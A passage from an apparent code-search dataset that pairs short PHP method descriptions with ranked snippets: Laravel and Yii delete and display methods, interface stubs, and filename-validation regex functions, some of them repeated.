destroy($id)\n {\n $store = Store::findorFail($id);\n $product = Product::firstorfail()->where('store_id', $id);\n // unlink(public_path() . '/img/' . $product->image);\n $product->delete();\n unlink(public_path() . '/str_img/' . $store->image);\n $store->delete();\n return redirect()->back()->withDelete(\"Store Deleted Succesfully\");\n\n\n \n }", "title": "" }, { "docid": "942f7427e779526c94189558d1185b66", "score": "0.56033164", "text": "public function delete()\n {\n Yii::debug(\"Deleting last upload.\", self::CATEGORY);\n unlink($this->path);\n Yii::$app->session->remove(self::cacheKey());\n }", "title": "" }, { "docid": "f7e25a0f3411ba82d9ef10dbdff68bb4", "score": "0.5600532", "text": "public function beforeDelete($resource)\n {\n return $resource;\n }", "title": "" }, { "docid": "bc970628483c63b419ea48f599c8c972", "score": "0.5598614", "text": "public function destroy($id)\n {\n $product = Product::findOrFail($id);\n $photo = $product->image;\n if ($photo) {\n unlink($photo);\n Product::findOrFail($id)->delete(); \n }else{\n Product::findOrFail($id)->delete();\n }\n\n }", "title": "" }, { "docid": "5f7b880d9042e6af83f1343c11f66a8e", "score": "0.5595085", "text": "public function destroy($record);", "title": "" }, { "docid": "eb90c146961dd680727f52741dd87d78", "score": "0.55930966", "text": "public function delete($key) {\n $this->assertKey($key);\n \n unset($this->storage[$key]);\n }", "title": "" }, { "docid": "1f90eefbc842f865e713597e80b0fc92", "score": "0.55857533", "text": "public function remove($file);", "title": "" }, { "docid": "0d6640f36c0ca88fbe56977a74dad5f1", "score": "0.55737436", "text": "public function remove(MediaInterface $media);", "title": "" }, { "docid": "268c30c6782025503083fc7ba52c1d0a", "score": "0.557298", "text": "public function delete() {\n $this->dataStoreAdapter->deleteObject($this->getUuid());\n }", "title": "" }, { "docid": "68aa5a7a833751b6ce51749cd9ab047e", "score": "0.5570882", "text": "public function destroy()\n {\n LaraFile::delete(\"images/{Auth::user()->avatar}\");\n }", "title": "" }, { "docid": "8179dc9b6bd99410fef7c74e3b56208a", "score": "0.5570384", "text": "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n @unlink($file); \n \n }", "title": "" }, { "docid": "4aff284263b8a4a2b80b972accc89eb6", "score": "0.55585116", "text": "public function removeFile($file_obj)\n\t{\n\t\t$fs = new Filesystem();\n\t\tif($fs->exists($file_obj->getUrlStorage()))\n\t\t{\n\t\t\t$fs->remove($file_obj->getUrlStorage());\n\t\t}\n\t}", "title": "" }, { "docid": "614063fb503a57e9decfce510aa95492", "score": "0.5555877", "text": "public function destroy($id)\n {\n $product = Product::find($id);\n if (($oldFile = $product->photo) !== 'uyuni.jpg'){\n Storage::delete($oldFile);\n }\n $product->delete();\n return redirect()->route('product.index')->with('success', 'Product successfully destroyed');\n }", "title": "" }, { "docid": "e58edf0ef06400cd31b9c6df91114be3", "score": "0.5555602", "text": "public function destroy(Attribute $attribute)\n {\n //delete a attribute by softDelete.\n $userId = $attribute->Category->Store->user_id;\n\n if (auth()->id() == $userId) {\n if ($attribute->delete()) {\n return new AttributeResource($attribute);\n }\n } else {\n abort(400, 'the Auth user do not store owner');\n }\n }", "title": "" }, { "docid": "ec1b691c67eb4c9111f82f370bc46ab2", "score": "0.55521524", "text": "public function removeAction ()\n { \n if (!empty ($this->params ['file']) AND file_exists (UPLOAD_PATH.$this->params ['file']))\n unlink (UPLOAD_PATH.$this->params ['file']); \n if (!empty ($this->params ['media_id']))\n {\n $model = new Model_DbTable_MediaData ();\n $model->delete_media ($this->params ['media_id']);\n } \n }", "title": "" }, { "docid": "cf67810bc53f9cd6c02a127c0ee780e0", "score": "0.55445576", "text": "public function remove()\n\t{\n\t\tFile::remove($this->tempName);\n\t}", "title": "" }, { "docid": "94cb51fff63ea161e1d8f04215cfe7bf", "score": "0.55422723", "text": "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "45876224e081764ab571b0cb929a5473", "score": "0.5533963", "text": "public function destroy($id)\n {\n\n $product=Product::find($id);\n $image=str_slug($product->imagePath);\n //no se borro la imagen ???\n Storage::delete($image);\n $product->delete();\n \n return back();\n \n }", "title": "" }, { "docid": "9ac57f5d74d74f050136ae1e642ec949", "score": "0.5532133", "text": "public function delete($path) {\n $absPath = $this->_getAbsPath($path);\n $status = @unlink($absPath);\n\n if (!$status) {\n if (file_exists($absPath)) {\n throw new Scalar_Storage_Exception('Unable to delete file.');\n } else {\n $this->_log(\"Scalar_Storage_Adapter_Filesystem: Tried to delete missing file '$path'.\");\n }\n }\n }", "title": "" }, { "docid": "584dea86c95ee49398418c499126a231", "score": "0.55317944", "text": "public function forgetUsed()\n {\n if ($this->app['files']->exists($this->getUsedStoragePath())) {\n $this->app['files']->delete($this->getUsedStoragePath());\n }\n }", "title": "" }, { "docid": "52c48eff326d035cdfe9e0df0c79a23f", "score": "0.55300117", "text": "public function removeFromStorage()\n {\n if ( ! $this->is_raw ) {\n return MediaStorage::adapterByDisk($this->disk)->delete($this->path);\n }\n\n return true;\n }", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "62470bdab73b1c8776214a0d888756d6", "score": "0.55259556", "text": "public function delete($filename = null){\r\n $filename = $this->getFile($filename);\r\n unlink($filename);\r\n }", "title": "" }, { "docid": "fca5783c203ebaaaafea2bcc3d6ca335", "score": "0.5525723", "text": "public function destroy($id)\n {\n \n $deleteItem = Slider::where('id', '=', $id)->first();\n $oldImg = $deleteItem->image;\n\n $oldfile = public_path('images/').$deleteItem->image;\n\n if (File::exists($oldfile))\n {\n File::delete($oldfile);\n }\n \n $slider = Slider::findOrFail($id);\n $slider->delete(); \n\n return redirect()->route('admin.slider')->with('success','Slider Item deleted successfully');\n }", "title": "" }, { "docid": "2b40268130454e39a95a6fde14dd39ee", "score": "0.55251133", "text": "public function destroy($id)\n {\n $delete = Image::find($id);\n $image = $delete->name;\n $delete->delete();\n Storage::delete('uploads/'.$image);\n return redirect()->back();\n }", "title": "" }, { "docid": "3d971daf6c6545b8d3f3ab39cedcd813", "score": "0.55225646", "text": "public static function untagOnDelete();", "title": "" }, { "docid": "ec759861dd3d396dcc09d5e1bfcf628b", "score": "0.5521281", "text": "public function unlink($path);", "title": "" }, { "docid": "ec759861dd3d396dcc09d5e1bfcf628b", "score": "0.5521281", "text": "public function unlink($path);", "title": "" }, { "docid": "0d93adedaef8f05d9f7cbb129944a438", "score": "0.55152917", "text": "public function delete()\n {\n imagedestroy($this->image);\n $this->clearStack();\n }", "title": "" }, { "docid": "af145ca4d7fcaa5c229e51cfdaf9bb3d", "score": "0.55152094", "text": "public function delete($identifier);", "title": "" } ]
13723369ee210991fbaeff150e6325a0
Display the specified resource.
[ { "docid": "4bac3188558c3acab53dd8d5175c1d4e", "score": "0.0", "text": "public function show($id)\n {\n //\n }", "title": "" } ]
[ { "docid": "1e43f3d3b2f3866101c5634098486ad9", "score": "0.7079807", "text": "public function show(Resource $resource)\n {\n return view('resources.show')->with('resource', $resource);\n }", "title": "" }, { "docid": "1e43f3d3b2f3866101c5634098486ad9", "score": "0.7079807", "text": "public function show(Resource $resource)\n {\n return view('resources.show')->with('resource', $resource);\n }", "title": "" }, { "docid": "05b525c46e58ebdea607568ba7e031f9", "score": "0.699911", "text": "public function show(Resource $resource)\n {\n return view('admin.resources.show', compact('resource'));\n }", "title": "" }, { "docid": "4374562bd3b3c76899b3d68131e9a081", "score": "0.68174225", "text": "function display($resource_name, $cache_id = null, $compile_id = null)\r\n {\r\n $this->_smarty->fetch($resource_name, $cache_id, $compile_id, true);\r\n }", "title": "" }, { "docid": "511a03741cea7982a95e0898bd8c8015", "score": "0.6725235", "text": "public function showResourceItem(array $data);", "title": "" }, { "docid": "6056fa21e4d2ebaac57d6ae22cfb4260", "score": "0.6548998", "text": "public function show(Request $request, $resource)\n { \n presenting_resource($resource);\n\n return $this->resource($resource);\n }", "title": "" }, { "docid": "1c52708cb57fd592777a5112fceca4f9", "score": "0.6427337", "text": "public function indexAction($resource)\n {\n parent::staticResource($resource);\n }", "title": "" }, { "docid": "02342204dff832c132b8ce831e17a092", "score": "0.63763934", "text": "public function get( $resource );", "title": "" }, { "docid": "38d4e6796db39109f0d6935dfd120534", "score": "0.6311607", "text": "public function retrieve(Resource $resource);", "title": "" }, { "docid": "54166e0b4bd59c6836b3f61a27596a54", "score": "0.6273021", "text": "public function viewResource($resourceController, $id) {\n $wrapper = $resourceController->wrapper($id);\n return $this->serialize(self::getData($wrapper));\n }", "title": "" }, { "docid": "31fd7f5a71b2af075f21c41c3d288e5e", "score": "0.62364846", "text": "public function show($id)\n {\n $resource = Resource::findorfail($id);\n return view('resources.show', ['resource'=>$resource]);\n }", "title": "" }, { "docid": "cf59458dc7815f856881d0a5db80dfc2", "score": "0.6228283", "text": "public function show(Resource $resource)\n {\n ResourceResource::withoutWrapping();\n\n return new ResourceResource($resource);\n }", "title": "" }, { "docid": "83bb7b752846f0cc3eb62e3fff19d079", "score": "0.61094654", "text": "public function displayAction()\r\n {\r\n // set filters and validators for GET input\r\n $filters = array(\r\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\r\n ); \r\n $validators = array(\r\n 'id' => array('NotEmpty', 'Int')\r\n );\r\n $input = new Zend_Filter_Input($filters, $validators);\r\n $input->setData($this->getRequest()->getParams());\r\n\r\n // test if input is valid\r\n // retrieve requested record\r\n // attach to view\r\n if ($input->isValid()) {\r\n $q = Doctrine_Query::create()\r\n ->from('Square_Model_Item i')\r\n ->leftJoin('i.Square_Model_Country c')\r\n ->leftJoin('i.Square_Model_Grade g')\r\n ->leftJoin('i.Square_Model_Type t')\r\n ->where('i.RecordID = ?', $input->id);\r\n $result = $q->fetchArray();\r\n if (count($result) == 1) {\r\n $this->view->item = $result[0]; \r\n } else {\r\n throw new Zend_Controller_Action_Exception('Page not found', 404); \r\n }\r\n } else {\r\n throw new Zend_Controller_Action_Exception('Invalid input'); \r\n }\r\n }", "title": "" }, { "docid": "c0f2735f053c6a5a3e8867a70d986464", "score": "0.6095133", "text": "function display($resource_name = null, $cache_id = null, $compile_id = null, $display = false) {\n\t\tglobal $pommo;\n\n\t\tif(!$this->templateExists($resource_name)) {\n\t\t\tPommo :: kill(sprintf(Pommo::_T('Template file (%s) not found in default or current theme'), $resource_name), true, true);\n\t\t}\n\n\t\tif ($pommo->_logger->isMsg())\n\t\t\t$this->assign('messages', $pommo->_logger->getMsg());\n\t\tif ($pommo->_logger->isErr())\n\t\t\t$this->assign('errors', $pommo->_logger->getErr());\n\t\t\t\n\t\treturn parent :: display($resource_name, $cache_id = null, $compile_id = null, $display = false);\n\t}", "title": "" }, { "docid": "1aeacbffda6650974375c42070cae740", "score": "0.6069593", "text": "public function show($id)\n {\n //\n return Resource::find($id);\n }", "title": "" }, { "docid": "7ec97073766288c908c352bcddc36a14", "score": "0.60485154", "text": "public function show($id)\n\t{\n\t\t$resource = $this->getResourceRepository()->find($id);\n\n if($resource) {\n return $this->apiResponse->success($resource->toArray());\n }\n\n return $this->apiResponse->failed(array(\"resource not found\"), 404, \"Resource not found\");\n\t}", "title": "" }, { "docid": "412f76bcd34cbd9d455a43614efe905d", "score": "0.6027944", "text": "public function single(){\n \n $this->display();\n }", "title": "" }, { "docid": "ddc28327288006b3d29c6bdc8761ca44", "score": "0.598783", "text": "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "title": "" }, { "docid": "8b1101140a2110ae57f11fa001bc879a", "score": "0.59651244", "text": "public function actionShow() {\n\n $workspace = $this->getSpace();\n $this->render('show', array('workspace' => $workspace));\n }", "title": "" }, { "docid": "8bc1c5b8544b92e4394c7b7553267dc3", "score": "0.5931247", "text": "public function show($id)\n\t{\n $model = $this->model;\n $resource = $model::find($id);\n\n if (!$resource) {\n return Response::apiNotFound();\n } else {\n\t\t return Response::api(['resource' => $resource]);\n }\n\t}", "title": "" }, { "docid": "0b4e77112a7869cf0d904b30e184112a", "score": "0.5922144", "text": "public function display()\r\n {\r\n $this->client = $this->get( 'client' );\r\n \r\n parent::display();\r\n }", "title": "" }, { "docid": "a6688716096de732ac676d2606652404", "score": "0.5905599", "text": "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', ['resource' => $resource]);\n }", "title": "" }, { "docid": "eddab4555ac4a572fa5a763f4e0471fc", "score": "0.58919686", "text": "public function show(HTTP_Request $request, HTTP_Response $response);", "title": "" }, { "docid": "0c9be934bd18c758ee8036136e38ca6d", "score": "0.586946", "text": "public function resource($resource)\n {\n return $this->_returnContent(\n 'resource://' . $resource->getResource()->getSha1()\n );\n }", "title": "" }, { "docid": "6fbb381f7148aba7574dc29413d87f90", "score": "0.5863148", "text": "public function display($id)\n {\n\n\n\n }", "title": "" }, { "docid": "ff6b8314d3827e83bc6f916f611deecc", "score": "0.5861292", "text": "public final function display()\n\t{\n\t\techo $this->fetch();\n\t}", "title": "" }, { "docid": "d9a6eb41dd9fbf426113fcd8b0ba834e", "score": "0.58584934", "text": "public function showAction()\n {\n $album = $this->_getAlbumById($this->_getParam('id'));\n $this->view->album = $album;\n $this->view->artist = $album->findParentRow('Model_Artist');\n }", "title": "" }, { "docid": "5781a2d120285a71e7e85b5a66be6d25", "score": "0.5857818", "text": "public function edit(Resource $resource)\n {\n return view('resources.edit')->with('resource', $resource);\n }", "title": "" }, { "docid": "fb50b97152154644c43c75ade8145487", "score": "0.5847528", "text": "public function show($id)\n\t{\n\t\treturn $this->resource->find($id);\n\t}", "title": "" }, { "docid": "8827cab97e78bc260c04825c9bb3d30a", "score": "0.5832523", "text": "public\n\t\tfunction show($id)\n\t\t{\n\t\t\t//\n\t\t}", "title": "" }, { "docid": "1859e20a258f6d15d4629c6689c04084", "score": "0.5794996", "text": "public function show()\n\t{\n\t\t\n\n\t}", "title": "" }, { "docid": "55ebb313f26c5900b8cfe594dfa4e5eb", "score": "0.57751614", "text": "public function display() {\n\t\techo $this->render();\n\t}", "title": "" }, { "docid": "b305d1a5fdddca312c53a5b0873ba322", "score": "0.5764189", "text": "public function get(string $resource, int $id);", "title": "" }, { "docid": "e85f77f9bd4a383aa63ea576917efd8b", "score": "0.57539546", "text": "public function show(Respon $respon)\n {\n //\n }", "title": "" }, { "docid": "e7bae91f4e998eac5e73657c932c48d7", "score": "0.5752467", "text": "public function show($id) {\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "8f15cdd2f287675d36c7b7df028043ec", "score": "0.5736634", "text": "public function show($id)\n\t{\n\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "cb9307a32f6d22a33b956aed56db49ba", "score": "0.5717934", "text": "public function show($id)\n\t{\n\t\t//\n\t\t\n\t}", "title": "" }, { "docid": "bd887cc40d240b6d393f5e769c337a39", "score": "0.5715846", "text": "public function display()\n {\n echo $this->tplObj->fetch();\n }", "title": "" }, { "docid": "056b3dd2a38f029f5eae7e6137d14e09", "score": "0.5703375", "text": "public function show($id)\n\t{\n\t\t$data = $this->resource->show($id);\n\t\treturn $this->responseMessage($data);\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "560ae0fd472bad5f1d21beeed5dfbbdd", "score": "0.57012135", "text": "public function show(){}", "title": "" }, { "docid": "8a051215912849e35253d096a8bfd6b8", "score": "0.56884444", "text": "public function show($object)\n {\n //\n }", "title": "" }, { "docid": "f16e75f4649c770d9e84451bfcb472f1", "score": "0.5685978", "text": "public function show(Capacity $capacity)\n {\n //\n }", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" } ]
3d50344db893d4ed5d9b54daabbf8f62
Get the regex to check what filename is allowed.
[ { "docid": "8264abdacc5c43c684948858a6e1164e", "score": "0.7736567", "text": "public function getFileNameRegex() {\n\t\treturn $this->fileNameRegex;\n\t}", "title": "" } ]
[ { "docid": "6a36c2f2597c1e9bc2f4da35d9540269", "score": "0.67844576", "text": "public function validFilename($name) {\n return preg_match($this->regexp, $name);\n }", "title": "" }, { "docid": "fa6517b139fff93e0d55300cb8af016b", "score": "0.66629535", "text": "private function getRegExp(){\n $regex = $this->regex;\n if( is_null($regex) ){\n $regex = preg_quote( $this->master->filename(), '/' ).'-backup-(\\\\d{14,})';\n if( $ext = $this->master->extension() ){\n $regex .= preg_quote('.'.$ext,'/');\n }\n $regex = '/^'.$regex.'~/';\n $this->regex = $regex;\n }\n return $regex;\n }", "title": "" }, { "docid": "1fa32ef35c62fb22aea39faf60e9acaf", "score": "0.6576705", "text": "function ft_validate_filename($file)\n{\n\t// Make sure the file doesn't start with a period, contain unwanted characters, or end in a period.\n\t$pattern = '/^[^\\.:?\"\\\\/<>|]((\\.)?(([\\w~\\s-áéíóúàèìòùñäëïöüâêîôûÁÉÍÓÚÀÈÌÒÙÑÄÂÊÎÔÛËÏÖÜ]){1,}))+$/';\n\t$result = preg_match($pattern, $file);\n\treturn $result;\n}", "title": "" }, { "docid": "97d994ddfc991dfa16b05979b6bb1c51", "score": "0.6563144", "text": "public function getRegex()\n {\n $parts = collect(explode(self::SEPARATOR, $this->getPath()));\n $regex = $parts->map(function($value){\n $characters = collect(str_split($value));\n // we only use word regex in this basic version\n return $characters->contains(self::VARIABLE_PLACEHOLDER) ?\n '(\\w+)' : $value;\n })->implode(sprintf('\\%s', self::SEPARATOR));\n\n return sprintf('/^%s$/', $regex);\n }", "title": "" }, { "docid": "30ce69b1437865256268d41f2a9e71d0", "score": "0.6372128", "text": "protected function getRegex(): string\n {\n if ($this->regex === null) {\n $this->regex = '/(' . str_replace('.', '\\\\.', implode('|', array_keys($this->suffixes))) . ')$/';\n }\n\n return $this->regex;\n }", "title": "" }, { "docid": "bc5d28ccadb4a49740d650a276b30f98", "score": "0.63393", "text": "function checkFileName($file) {\n\t\tif(!eregi('^[A-Z_0-9][A-Z_0-9.]*$', $file)) return FALSE;\n\t\telse return TRUE;\n\t}", "title": "" }, { "docid": "30c974e9164ddd47714e5631584e652c", "score": "0.6280285", "text": "function checkFileName( $filename )\n{\n\tif(empty($filename)){\n\t\treturn false;\n\t}\n\t//not duble comma\n\tif(preg_match(\"?\".preg_quote(\"..\").\"?\",$filename)){\n\t\treturn false;\n\t}\n\tif(! preg_match(\"?[^a-zA-Z0-9\".preg_quote(\"._ !@#$%^&()+={}][\\',~`-\").\"]?\",$filename)){\n\t\treturn true;\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "fb670ad7234690db2700abfc79bc2ccd", "score": "0.6240621", "text": "public function getURLRegex() {\n\t\treturn implode($this->patternRegex);\n\t}", "title": "" }, { "docid": "d993b7d75aa651c47f8ec8c75dca49aa", "score": "0.61965585", "text": "function valid_filename($fn)\n{\n\tif ((strstr($fn,\"..\")!=FALSE)||(strstr($fn,\"/\")!=FALSE))\n\t\treturn 0;\n\tif ( (strstr($fn,\"&\")!=FALSE)||(strstr($fn,\";\")!=FALSE)\n\t ||(strstr($fn,\"|\")!=FALSE)||(strstr($fn,\"*\")!=FALSE)\n\t ||(strstr($fn,\"<\")!=FALSE)||(strstr($fn,\">\")!=FALSE))\n\t\treturn 0;\n\treturn 1;\n}", "title": "" }, { "docid": "7e1abb6296aa8c15f5ba1ce5373f55fe", "score": "0.6193305", "text": "private function validate_name(){\n\t\t$opt = '/[a-zA-Z\\s]*/';\n\t\t$reg = array(\"options\" => array(\"regexp\" => $opt));\n\n\t\tif(filter_var($this->_filename, FILTER_VALIDATE_REGEXP, $reg)){\n\t\t\treturn 1;\n\t\t}\n\n\t\t$this->_filename = null;\n\t\t$this->set_error(\"Filename incorrect.\");\n\t\treturn 0;\n\t}", "title": "" }, { "docid": "99eecd5c62175b71c2dee5bc97d0d860", "score": "0.6119829", 